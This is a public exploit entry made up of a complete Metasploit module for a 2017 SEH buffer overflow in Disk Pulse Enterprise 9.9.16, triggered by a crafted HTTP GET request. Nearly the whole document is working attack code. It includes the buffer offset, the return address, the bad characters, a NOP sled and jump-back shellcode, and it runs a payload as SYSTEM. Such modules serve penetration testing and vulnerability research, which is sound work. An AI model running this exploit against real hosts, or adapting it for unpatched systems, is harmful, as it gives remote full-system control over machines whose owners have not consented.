Disk Pulse Enterprise 9.9.16 GET Buffer Overflow

This Metasploit module exploits an SEH buffer overflow in Disk Pulse Enterprise version 9.9.16. If a malicious user sends a crafted HTTP GET request it is possible to execute a payload that would run under the Windows NT AUTHORITY\SYSTEM account.


MD5 | 4357afe77b3f0d509c9cfa2b76ef1a5a

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Disk Pulse Enterprise GET Buffer Overflow',
'Description' => %q(
This module exploits an SEH buffer overflow in Disk Pulse Enterprise
9.9.16. If a malicious user sends a crafted HTTP GET request
it is possible to execute a payload that would run under the Windows
NT AUTHORITY\SYSTEM account.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Chance Johnson', # msf module - [email protected]
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
],
'References' =>
[
[ 'EDB', '42560' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'EncoderType' => "alpha_mixed",
'BadChars' => "\x00\x0a\x0d\x26"
},
'Targets' =>
[
[ 'Disk Pulse Enterprise 9.9.16',
{
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
'Offset' => 2492
}]
],
'Privileged' => true,
'DisclosureDate' => 'Aug 25 2017',
'DefaultTarget' => 0))

register_options([Opt::RPORT(80)])
end

def check
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)

if res && res.code == 200 && res.body =~ /Disk Pulse Enterprise v9\.9\.16/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
connect

print_status("Generating exploit...")
exp = payload.encoded
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
exp << generate_seh_record(target.ret)
exp << make_nops(10) # NOP sled to make sure we land on jmp to shellcode
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
exp << 'B' * (5000 - exp.length) # padding

print_status("Sending exploit...")

send_request_cgi(
'uri' => '/../' + exp,
'method' => 'GET',
'host' => '4.2.2.2',
'connection' => 'keep-alive'
)

handler
disconnect
end
end

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